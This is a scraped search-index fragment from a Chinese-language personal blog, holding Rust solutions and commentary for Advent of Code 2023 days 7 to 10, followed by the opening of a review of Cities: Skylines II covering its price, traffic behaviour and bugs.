73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)] enum Card2 { A = 14, K = 13, Q = 12, J = 1, T = 10, Nine = 9, Eight = 8, Seven = 7, Six = 6, Five = 5, Four = 4, Three = 3, Two = 2, } #[derive(Debug)] struct Hand2 { hand: Vec\u0026lt;Card2\u0026gt;, bid: u32, } impl PartialOrd for Hand2 { fn partial_cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Option\u0026lt;Ordering\u0026gt; { Some(self.cmp(other)) } } impl PartialEq for Hand2 { fn eq(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; bool { self.bid == other.bid } } impl Eq for Hand2 {} fn merge_j(dict: \u0026amp;mut HashMap\u0026lt;\u0026amp;Card2, i32\u0026gt;) { // get the number of j and card with largest count let mut j_count = 0; let mut max_count = 0; let mut max_card = None; let dict_clone = dict.clone(); for (card, count) in dict_clone.iter() { if card == \u0026amp;\u0026amp;Card2::J { j_count = *count; } else if *count \u0026gt; max_count { max_count = *count; max_card = Some(card); } } dict.remove(\u0026amp;Card2::J); if let Some(max_card) = max_card { *dict.entry(max_card).or_insert(0) += j_count; } else { dict.insert(\u0026amp;Card2::J, j_count); } } impl Ord for Hand2 { fn cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Ordering { let mut self_dict = self.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) += 1; acc }); let mut other_dict = other.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) += 1; acc }); merge_j(\u0026amp;mut self_dict); merge_j(\u0026amp;mut other_dict); let self_weight = self_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); let other_weight = other_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); if self_weight \u0026gt; other_weight { return Ordering::Greater; } else if self_weight \u0026lt; other_weight { return Ordering::Less; } else { // compare `Card`s in descending order for (self_card, other_card) in self.hand.iter().zip(other.hand.iter()) { if self_card \u0026gt; other_card { return Ordering::Greater; } else if self_card \u0026lt; other_card { return Ordering::Less; } } } Ordering::Equal } } pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut hands: Vec\u0026lt;Hand2\u0026gt; = input .lines() .map(|line| { let mut parts = line.split_whitespace(); let hand = parts .next() .unwrap() .chars() .map(|c| match c { \u0026#39;A\u0026#39; =\u0026gt; Card2::A, \u0026#39;K\u0026#39; =\u0026gt; Card2::K, \u0026#39;Q\u0026#39; =\u0026gt; Card2::Q, \u0026#39;J\u0026#39; =\u0026gt; Card2::J, \u0026#39;T\u0026#39; =\u0026gt; Card2::T, \u0026#39;9\u0026#39; =\u0026gt; Card2::Nine, \u0026#39;8\u0026#39; =\u0026gt; Card2::Eight, \u0026#39;7\u0026#39; =\u0026gt; Card2::Seven, \u0026#39;6\u0026#39; =\u0026gt; Card2::Six, \u0026#39;5\u0026#39; =\u0026gt; Card2::Five, \u0026#39;4\u0026#39; =\u0026gt; Card2::Four, \u0026#39;3\u0026#39; =\u0026gt; Card2::Three, \u0026#39;2\u0026#39; =\u0026gt; Card2::Two, _ =\u0026gt; panic!(\u0026#34;Invalid card\u0026#34;), }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let bid = parts.next().unwrap().parse().unwrap(); Hand2 { hand, bid } }) .collect(); hands.sort(); let mut winnings: u32 = 0; for i in 1..=hands.len() { winnings += hands[i - 1].bid * i as u32; println!(\u0026#34;#{}: {:?}\u0026#34;, i, hands[i - 1]); } Some(winnings) } Day 8 Part 1 迷你模拟题，给定一个可以重复走的方向序列和一张有向图，求从AAA到ZZZ所需的步数。甚至不需要自己找最短路径。\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut steps: u32 = 0; let mut curr_pos = \u0026#34;AAA\u0026#34;; let lines = input.lines().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seq = lines[0]; let mut direction = HashMap::\u0026lt;\u0026amp;str, (\u0026amp;str, \u0026amp;str)\u0026gt;::new(); for line in lines[2..].iter() { // AAA = (BBB,CCC) let mut line = line.split(\u0026#34; = \u0026#34;); let key = line.next().unwrap(); let mut line = line.next().unwrap().split(\u0026#34;, \u0026#34;); let left = line.next().unwrap(); let right = line.next().unwrap(); direction.insert(key, (\u0026amp;left[1..], \u0026amp;right[0..3])); } while curr_pos != \u0026#34;ZZZ\u0026#34; { let index: usize = steps as usize % seq.len(); curr_pos = match seq.chars().nth(index).unwrap() { \u0026#39;R\u0026#39; =\u0026gt; direction.get(curr_pos).unwrap().1, \u0026#39;L\u0026#39; =\u0026gt; direction.get(curr_pos).unwrap().0, _ =\u0026gt; curr_pos, }; steps \u0026#43;= 1; } Some(steps) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut steps: u32 = 0; let mut curr_pos = \u0026#34;AAA\u0026#34;; let lines = input.lines().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seq = lines[0]; let mut direction = HashMap::\u0026lt;\u0026amp;str, (\u0026amp;str, \u0026amp;str)\u0026gt;::new(); for line in lines[2..].iter() { // AAA = (BBB,CCC) let mut line = line.split(\u0026#34; = \u0026#34;); let key = line.next().unwrap(); let mut line = line.next().unwrap().split(\u0026#34;, \u0026#34;); let left = line.next().unwrap(); let right = line.next().unwrap(); direction.insert(key, (\u0026amp;left[1..], \u0026amp;right[0..3])); } while curr_pos != \u0026#34;ZZZ\u0026#34; { let index: usize = steps as usize % seq.len(); curr_pos = match seq.chars().nth(index).unwrap() { \u0026#39;R\u0026#39; =\u0026gt; direction.get(curr_pos).unwrap().1, \u0026#39;L\u0026#39; =\u0026gt; direction.get(curr_pos).unwrap().0, _ =\u0026gt; curr_pos, }; steps += 1; } Some(steps) } Part 2 我曾经以为P2就是大号的P1，用一样的思路解决就行，直到程序跑了45分钟都没出结果，我才意识到这个P2可能有点儿太大了。\n// TODO\nDay 9 这道题我觉得我思路挺怪的，虽然没什么问题，也能过测试，但就是不对。观察下面的样例：\nplaintext 复制代码 1 3 6 10 15 21 28 2 3 4 5 6 7 1 1 1 1 1 0 0 0 0 1 2 3 4 1 3 6 10 15 21 28 2 3 4 5 6 7 1 1 1 1 1 0 0 0 0 题目要求得出数列的下一个数。相邻的数减上几轮全都会变为0，大胆猜测原数列为一个多项式函数。于是想到直接将原方程求出来即可。样例中的差分法可以很方便地求出次数，然后用一些第三方库（如 polyfit_rs）求出各个系数，代入求出 $f(len(\\text{nums}))$即可。\n如果这个思路真的可行，那么第二问就很容易了：得出数列的前一个数，直接代入求出 $f(-1)$ 就行了。\n可是不对，为什么呢？\nrust 复制代码 fn diff(nums: \u0026amp;Vec\u0026lt;i32\u0026gt;) -\u0026gt; u32 { let mut degree: u32 = 0; if nums.iter().all(|\u0026amp;x| x == nums[0]) { // special case return 0; } let mut diff = nums.clone(); loop { // 0 3 6 9 12 15 // -\u0026gt; 3 3 3 3 3 // -\u0026gt; 0 0 0 0 // then, times = 1; this is y=ax\u0026#43;b diff = diff .iter() .tuple_windows() .map(|(a, b)| b - a) .collect_vec(); degree \u0026#43;= 1; // if all diff is same, return times if diff.iter().all(|\u0026amp;x| x == diff[0]) { return degree; } } } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;i64\u0026gt; { let lines = input.lines().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut sum = 0; for line in lines { let nums = line .split_whitespace() .map(|n| n.parse::\u0026lt;i32\u0026gt;().unwrap()) .collect_vec(); let degree = diff(\u0026amp;nums); let x_values = (0..nums.len()).map(|x| x as f64).collect_vec(); let y_values = nums.iter().map(|\u0026amp;x| x as f64).collect_vec(); let coefficients = polyfit_rs::polyfit(\u0026amp;x_values, \u0026amp;y_values, degree as usize).unwrap(); let mut next = 0.0; // next = f(len(nums)) for i in 0..degree as usize \u0026#43; 1 { next \u0026#43;= coefficients[i] * (nums.len() as f64).powi(i as i32); } println!(\u0026#34;{}\u0026#34;, next.round() as i64); sum \u0026#43;= next.round() as i64; } Some(sum) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 fn diff(nums: \u0026amp;Vec\u0026lt;i32\u0026gt;) -\u0026gt; u32 { let mut degree: u32 = 0; if nums.iter().all(|\u0026amp;x| x == nums[0]) { // special case return 0; } let mut diff = nums.clone(); loop { // 0 3 6 9 12 15 // -\u0026gt; 3 3 3 3 3 // -\u0026gt; 0 0 0 0 // then, times = 1; this is y=ax+b diff = diff .iter() .tuple_windows() .map(|(a, b)| b - a) .collect_vec(); degree += 1; // if all diff is same, return times if diff.iter().all(|\u0026amp;x| x == diff[0]) { return degree; } } } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;i64\u0026gt; { let lines = input.lines().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut sum = 0; for line in lines { let nums = line .split_whitespace() .map(|n| n.parse::\u0026lt;i32\u0026gt;().unwrap()) .collect_vec(); let degree = diff(\u0026amp;nums); let x_values = (0..nums.len()).map(|x| x as f64).collect_vec(); let y_values = nums.iter().map(|\u0026amp;x| x as f64).collect_vec(); let coefficients = polyfit_rs::polyfit(\u0026amp;x_values, \u0026amp;y_values, degree as usize).unwrap(); let mut next = 0.0; // next = f(len(nums)) for i in 0..degree as usize + 1 { next += coefficients[i] * (nums.len() as f64).powi(i as i32); } println!(\u0026#34;{}\u0026#34;, next.round() as i64); sum += next.round() as i64; } Some(sum) } Day 10 Part 1 给出的一张图描述了管道的连接情况，其中有个S点在管道的环路中，求出从某个点出发沿主（含S的）环路最远的距离。基本就是相当于要我们把环路找出来。\n样例不得不使用ASCII字符代替Unicode制表符，毕竟很多语言对Unicode字符串的支持都挺……一般的。但我们看样例的时候可以进行一点儿替换：F -\u0026gt; ┌、7-\u0026gt;┐、J-\u0026gt;┘、L-\u0026gt;└。\n在我最初的实现中，直接使用一个DFS，从S点周围的管道出发，寻找能连上的管道。注意：\n检查周围节点能否连上时，不仅要检查其管道是否指向本节点，而且还要检查本节点的管道是否指向它； 由于上面的原因，不要直接从S开始DFS，因为S点没有管道，自然连不上其他节点。 上面这个方法并没有修改地图本身（主要是S点）。但在第二部分中，有一个完全闭合的管道环路做起来会更舒服，所以我更新了第一部分的实现，找到S点后，依据四周的管道连接情况，将S修改为真正的管道。\nrust 复制代码 static LEFT_CONNECT: [char; 3] = [\u0026#39;-\u0026#39;, \u0026#39;L\u0026#39;, \u0026#39;F\u0026#39;]; static RIGHT_CONNECT: [char; 3] = [\u0026#39;-\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;7\u0026#39;]; static TOP_CONNECT: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;7\u0026#39;]; static BOTTOM_CONNECT: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;L\u0026#39;]; fn dfs(map: \u0026amp;Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt;, map_dist: \u0026amp;mut Vec\u0026lt;Vec\u0026lt;Option\u0026lt;u32\u0026gt;\u0026gt;\u0026gt;, x: usize, y: usize) { let curr = map[x as usize][y as usize]; let curr_dist = map_dist[x as usize][y as usize]; if curr_dist.is_none() { return; } if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() \u0026#43; 1; if map_dist[x - 1][y].is_none() || map_dist[x - 1][y].unwrap() \u0026gt; new_dist { map_dist[x - 1][y] = Some(new_dist); dfs(map, map_dist, x - 1, y); } } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x \u0026#43; 1][y]) \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() \u0026#43; 1; if map_dist[x \u0026#43; 1][y].is_none() || map_dist[x \u0026#43; 1][y].unwrap() \u0026gt; new_dist { map_dist[x \u0026#43; 1][y] = Some(new_dist); dfs(map, map_dist, x \u0026#43; 1, y); } } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() \u0026#43; 1; if map_dist[x][y - 1].is_none() || map_dist[x][y - 1].unwrap() \u0026gt; new_dist { map_dist[x][y - 1] = Some(new_dist); dfs(map, map_dist, x, y - 1); } } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y \u0026#43; 1]) \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() \u0026#43; 1; if map_dist[x][y \u0026#43; 1].is_none() || map_dist[x][y \u0026#43; 1].unwrap() \u0026gt; new_dist { map_dist[x][y \u0026#43; 1] = Some(new_dist); dfs(map, map_dist, x, y \u0026#43; 1); } } } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut max_dist = 0; // array of array of chars let mut map = input .lines() .map(|line| line.chars().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut map_dist = vec![vec![None; map[0].len()]; map.len()]; for x in 0..map.len() { for y in 0..map[x].len() { if map[x][y] != \u0026#39;S\u0026#39; { continue; } let (mut up, mut down, mut left, mut right) = (false, false, false, false); if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) { up = true; } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x \u0026#43; 1][y]) { down = true; } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) { left = true; } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y \u0026#43; 1]) { right = true; } map_dist[x][y] = Some(0); match (up, down, left, right) { (true, true, false, false) =\u0026gt; map[x][y] = \u0026#39;|\u0026#39;, (false, false, true, true) =\u0026gt; map[x][y] = \u0026#39;-\u0026#39;, (true, false, true, false) =\u0026gt; map[x][y] = \u0026#39;J\u0026#39;, (false, true, false, true) =\u0026gt; map[x][y] = \u0026#39;F\u0026#39;, (true, false, false, true) =\u0026gt; map[x][y] = \u0026#39;L\u0026#39;, (false, true, true, false) =\u0026gt; map[x][y] = \u0026#39;7\u0026#39;, _ =\u0026gt; (), } dfs(\u0026amp;map, \u0026amp;mut map_dist, x, y) } } for row in map_dist { for col in row { if let Some(dist) = col { max_dist = max_dist.max(dist); } } } Some(max_dist) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 static LEFT_CONNECT: [char; 3] = [\u0026#39;-\u0026#39;, \u0026#39;L\u0026#39;, \u0026#39;F\u0026#39;]; static RIGHT_CONNECT: [char; 3] = [\u0026#39;-\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;7\u0026#39;]; static TOP_CONNECT: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;7\u0026#39;]; static BOTTOM_CONNECT: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;L\u0026#39;]; fn dfs(map: \u0026amp;Vec\u0026lt;Vec\u0026lt;char\u0026gt;\u0026gt;, map_dist: \u0026amp;mut Vec\u0026lt;Vec\u0026lt;Option\u0026lt;u32\u0026gt;\u0026gt;\u0026gt;, x: usize, y: usize) { let curr = map[x as usize][y as usize]; let curr_dist = map_dist[x as usize][y as usize]; if curr_dist.is_none() { return; } if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() + 1; if map_dist[x - 1][y].is_none() || map_dist[x - 1][y].unwrap() \u0026gt; new_dist { map_dist[x - 1][y] = Some(new_dist); dfs(map, map_dist, x - 1, y); } } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x + 1][y]) \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() + 1; if map_dist[x + 1][y].is_none() || map_dist[x + 1][y].unwrap() \u0026gt; new_dist { map_dist[x + 1][y] = Some(new_dist); dfs(map, map_dist, x + 1, y); } } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() + 1; if map_dist[x][y - 1].is_none() || map_dist[x][y - 1].unwrap() \u0026gt; new_dist { map_dist[x][y - 1] = Some(new_dist); dfs(map, map_dist, x, y - 1); } } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y + 1]) \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;curr) { let new_dist = curr_dist.unwrap() + 1; if map_dist[x][y + 1].is_none() || map_dist[x][y + 1].unwrap() \u0026gt; new_dist { map_dist[x][y + 1] = Some(new_dist); dfs(map, map_dist, x, y + 1); } } } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut max_dist = 0; // array of array of chars let mut map = input .lines() .map(|line| line.chars().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut map_dist = vec![vec![None; map[0].len()]; map.len()]; for x in 0..map.len() { for y in 0..map[x].len() { if map[x][y] != \u0026#39;S\u0026#39; { continue; } let (mut up, mut down, mut left, mut right) = (false, false, false, false); if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) { up = true; } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x + 1][y]) { down = true; } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) { left = true; } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y + 1]) { right = true; } map_dist[x][y] = Some(0); match (up, down, left, right) { (true, true, false, false) =\u0026gt; map[x][y] = \u0026#39;|\u0026#39;, (false, false, true, true) =\u0026gt; map[x][y] = \u0026#39;-\u0026#39;, (true, false, true, false) =\u0026gt; map[x][y] = \u0026#39;J\u0026#39;, (false, true, false, true) =\u0026gt; map[x][y] = \u0026#39;F\u0026#39;, (true, false, false, true) =\u0026gt; map[x][y] = \u0026#39;L\u0026#39;, (false, true, true, false) =\u0026gt; map[x][y] = \u0026#39;7\u0026#39;, _ =\u0026gt; (), } dfs(\u0026amp;map, \u0026amp;mut map_dist, x, y) } } for row in map_dist { for col in row { if let Some(dist) = col { max_dist = max_dist.max(dist); } } } Some(max_dist) } Part 2 我们在第一部分找出了S点连接的主管道，第二部分则要求我们求出主管道包含的面积。由于第一问写下的DFS函数已经记录了主管道上所有点到S的距离，所以只要跑一遍，主管道范围的边界就确定了。\n下一步就是数有哪些字符在主管道范围内了。本身的想法是按行遍历，完全忽略横向边界，维护一个bool变量判定是否在边界内，穿越一次边界就将其反转；又想了想，在一个字符内除了 | 跨越一整个边界外，那些弯弯折折的管道都只跨越上半/下半边界。CHANGE_\u0026lt;UP/DOWN\u0026gt;_HALF 就是记录这些字符的数组。当且仅当当前字符不属于主管道，且字符的上下半都在边界内时，计数器加一。\n很抽象是吧，或许看到下面的图你会明白点。\nplaintext 复制代码 .┌----┐┌┐┌┐┌┐┌-┐.... .|┌--┐||||||||┌┘.... .||.┌┘||||||||└┐.... ┌┘└┐└┐└┘└┘||└┘.└-┐.. └--┘.└┐...└┘S┐┌-┐└┐. ....┌-┘..┌┐┌┘|└┐└┐└┐ ....└┐.┌┐||└┐|.└┐└┐| .....|┌┘└┘|┌┘|┌┐|.└┘ ....┌┘└-┐.||.||||... ....└---┘.└┘.└┘└┘... 1 2 3 4 5 6 7 8 9 10 .┌----┐┌┐┌┐┌┐┌-┐.... .|┌--┐||||||||┌┘.... .||.┌┘||||||||└┐.... ┌┘└┐└┐└┘└┘||└┘.└-┐.. └--┘.└┐...└┘S┐┌-┐└┐. ....┌-┘..┌┐┌┘|└┐└┐└┐ ....└┐.┌┐||└┐|.└┐└┐| .....|┌┘└┘|┌┘|┌┐|.└┘ ....┌┘└-┐.||.||||... ....└---┘.└┘.└┘└┘... rust 复制代码 static CHANGE_UP_HALF: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;L\u0026#39;]; static CHANGE_DOWN_HALF: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;7\u0026#39;]; pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // array of array of chars let mut map = input .lines() .map(|line| line.chars().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut map_dist = vec![vec![None; map[0].len()]; map.len()]; for x in 0..map.len() { for y in 0..map[x].len() { if map[x][y] != \u0026#39;S\u0026#39; { continue; } let (mut up, mut down, mut left, mut right) = (false, false, false, false); if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) { up = true; } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x \u0026#43; 1][y]) { down = true; } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) { left = true; } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y \u0026#43; 1]) { right = true; } map_dist[x][y] = Some(0); match (up, down, left, right) { (true, true, false, false) =\u0026gt; map[x][y] = \u0026#39;|\u0026#39;, (false, false, true, true) =\u0026gt; map[x][y] = \u0026#39;-\u0026#39;, (true, false, true, false) =\u0026gt; map[x][y] = \u0026#39;J\u0026#39;, (false, true, false, true) =\u0026gt; map[x][y] = \u0026#39;F\u0026#39;, (true, false, false, true) =\u0026gt; map[x][y] = \u0026#39;L\u0026#39;, (false, true, true, false) =\u0026gt; map[x][y] = \u0026#39;7\u0026#39;, _ =\u0026gt; (), } dfs(\u0026amp;map, \u0026amp;mut map_dist, x, y) } } let mut count = 0; for x in 0..map.len() { let (mut up_half, mut down_half) = (false, false); for y in 0..map[x].len() { if map_dist[x][y].is_some() \u0026amp;\u0026amp; CHANGE_UP_HALF.contains(\u0026amp;map[x][y]) { up_half = !up_half; } if map_dist[x][y].is_some() \u0026amp;\u0026amp; CHANGE_DOWN_HALF.contains(\u0026amp;map[x][y]) { down_half = !down_half; } if up_half \u0026amp;\u0026amp; down_half \u0026amp;\u0026amp; map_dist[x][y].is_none() { count \u0026#43;= 1; } } } Some(count) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 static CHANGE_UP_HALF: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;J\u0026#39;, \u0026#39;L\u0026#39;]; static CHANGE_DOWN_HALF: [char; 3] = [\u0026#39;|\u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;7\u0026#39;]; pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { // array of array of chars let mut map = input .lines() .map(|line| line.chars().collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let mut map_dist = vec![vec![None; map[0].len()]; map.len()]; for x in 0..map.len() { for y in 0..map[x].len() { if map[x][y] != \u0026#39;S\u0026#39; { continue; } let (mut up, mut down, mut left, mut right) = (false, false, false, false); if x \u0026gt; 0 \u0026amp;\u0026amp; TOP_CONNECT.contains(\u0026amp;map[x - 1][y]) { up = true; } if x \u0026lt; map.len() - 1 \u0026amp;\u0026amp; BOTTOM_CONNECT.contains(\u0026amp;map[x + 1][y]) { down = true; } if y \u0026gt; 0 \u0026amp;\u0026amp; LEFT_CONNECT.contains(\u0026amp;map[x][y - 1]) { left = true; } if y \u0026lt; map[x].len() - 1 \u0026amp;\u0026amp; RIGHT_CONNECT.contains(\u0026amp;map[x][y + 1]) { right = true; } map_dist[x][y] = Some(0); match (up, down, left, right) { (true, true, false, false) =\u0026gt; map[x][y] = \u0026#39;|\u0026#39;, (false, false, true, true) =\u0026gt; map[x][y] = \u0026#39;-\u0026#39;, (true, false, true, false) =\u0026gt; map[x][y] = \u0026#39;J\u0026#39;, (false, true, false, true) =\u0026gt; map[x][y] = \u0026#39;F\u0026#39;, (true, false, false, true) =\u0026gt; map[x][y] = \u0026#39;L\u0026#39;, (false, true, true, false) =\u0026gt; map[x][y] = \u0026#39;7\u0026#39;, _ =\u0026gt; (), } dfs(\u0026amp;map, \u0026amp;mut map_dist, x, y) } } let mut count = 0; for x in 0..map.len() { let (mut up_half, mut down_half) = (false, false); for y in 0..map[x].len() { if map_dist[x][y].is_some() \u0026amp;\u0026amp; CHANGE_UP_HALF.contains(\u0026amp;map[x][y]) { up_half = !up_half; } if map_dist[x][y].is_some() \u0026amp;\u0026amp; CHANGE_DOWN_HALF.contains(\u0026amp;map[x][y]) { down_half = !down_half; } if up_half \u0026amp;\u0026amp; down_half \u0026amp;\u0026amp; map_dist[x][y].is_none() { count += 1; } } } Some(count) } ","date":"December 2, 2023","matchCount":0,"permalink":"/post/advent-of-code-23/","preview":"","title":"Advent of Code 2023"},{"content":"刁民模拟器、堵车模拟器、比较温和的P社战犯模拟器游戏系列《城市：天际线》在打磨了七年DLC后，终于有了它的第二部作品。但相比2015年发售时仅需88人民币1的价格，预售218人民币、发售后甚至涨到248元的价格属实有点差异过大了。诚然，就本体来说，天际线2在AI、经济、建筑等方面都有了长足的进步，但单单作为本体来讲，个人觉得不值得一部《战神》的价格（50 USD）。\n阅前注意：以下内容为首发阶段体验。 作者使用 低配电脑（Ryzen 7 4800H、32GB、GTX 1650） 已换成U7 155H和4060 Ti游玩，并使用破解版游戏已补票，体验仅供参考；体验仅限2023年11月版本，无DLC，未提及时版本为1.0.12F1，不代表后期体验。\n先夸一夸吧。大量机制都沿袭了前作的逻辑，仍然很让人上瘾。车道线分流，很好，一条路终于可以优雅地分成好几条了。铺电线和水管也简单了好多，终于跟着路走而不是需要自己铺了，甚至能进口，懒人福音。建筑物扩展也挺有意思，有点儿《模拟城市5》的感觉了。城市有数十万人口后，市民不乘地铁的bug也没有了。地形编辑工具也没那么多破事儿了，地面一抹就平，虽然相比前作没那么“真实”了，但真的能极大程度提高游玩体验。这些都是让人很难回到前作的提升。\n相比前作，天际线2的车辆很少凭空消失了，NPC再也不会从裤裆里凭空掏出一辆车。这个地方或许是路边，或许是自己建的停车场，也或许是……堵在路上。前作在彻底堵死的路段部分车辆会消失，而在2中则几乎绝迹。但十分抽象的是，有轨电车似乎很喜欢玩消失，眼睁睁看到它们离站台只剩一个路口，啪，消失了。于是站台等车的几千人（是的，几千人）就只能干等着。\n车辆的行为也有点儿抽象，路口有了左转专用道，但没有左转单独红绿灯；即使有右转专用道，右转车也要等红绿灯；路口从来没有实线，导致许多车不到拐弯不变道。\n官方自豪地宣称，当原来的路线堵车时，车辆会选择其他路线了。这倒是确实，于是大家都不走大路了，就嗯在小路里转 ，堪称高德地图植入广告了 